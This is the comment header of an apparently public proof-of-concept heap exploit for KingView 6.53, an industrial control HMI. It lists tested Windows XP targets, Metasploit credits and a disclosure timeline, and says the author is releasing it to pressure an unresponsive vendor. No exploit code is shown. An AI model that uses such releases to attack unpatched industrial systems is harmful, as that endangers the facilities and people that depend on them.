## Date: 9/28/2010
## Author: Dillon Beresford
## Software Link: http://download.kingview.com/software/kingview%20English%20Version/kingview6.53_EN.rar
## Version: 6.53 (English)
## Tested on: Windows XP SP1 ( works on SP2 and SP3 ) will release new targets after CERT advisory is public. 

## Shouts to HD Moore JDuck, Egyp7, todb, |)ruid, nate and the rest of the AHA! crew.
## Thanks to all who share knowledge about heap smashing and heap bypass techniques.

## Notified CERT and the vendor, CERT notified the vendor as well, vendor never responded.
## No patch or response from vendor as of 1/9/2011
## Lets get this into the wild and see how long it takes them to respond.

## Looks like persistence pays off. :-)

## SP2/SP3 targets will be available soon. (putting into metasploit this is just a poc to get response from vendor).
## Vendor: Beijing WellinControl Technology Development Co.,Ltd

## Beijing WellinControl Technology Development and CHINA CERT were notified on Tue, Sep 28, 2010 at 6:31 AM
## I have made every attempt and yet they choose to ignore...
## This PoC should wake up the dragon. >:-]
## With more to come!
